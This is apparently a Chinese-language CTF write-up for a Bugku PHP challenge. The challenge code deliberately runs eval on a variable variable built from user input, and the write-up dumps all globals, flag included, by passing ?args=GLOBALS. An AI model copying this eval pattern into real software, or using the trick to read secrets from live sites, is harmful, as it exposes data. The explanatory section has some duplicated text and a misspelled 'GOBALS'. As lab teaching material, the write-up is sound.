WP014——CTF赛题解析-PHP变量

50 阅读1分钟

时效性

2025年8月3日

题目来源

Bugku-CTF之变量1 - 0yst3r - 博客园

题目描述

image.png

image.png

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args']; 
    if(!preg_match("/^\w+$/",$args)){  // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

Write up

image.png 所以我们只需给变量传一个全局数组变量就好了 所以我们构造 ?args=GLOBALS加到url后面

117.72.52.127:17081/?args=GLOBALS

注:此处全局变量的GLOBALS必须为大写!

image.png

总结

有时候使用可变变量名是很方便的。就是说,一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置,例如:

<?php$a = 'hello';?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:

<?php$$a = 'world';?>

这时,两个变量都被定义了:a的内容是“hello”并且a 的内容是“hello”并且 hello 的内容是“world”。因此,以下语句:

<?phpecho "$a {$$a}";?>

与以下语句输出完全相同的结果:

<?phpecho "$a $hello";?>

它们都会输出:hello world。

所以当属输入GOBALS 的时候,该题会实际上输出var_dump出变量名为 GOBALS 的值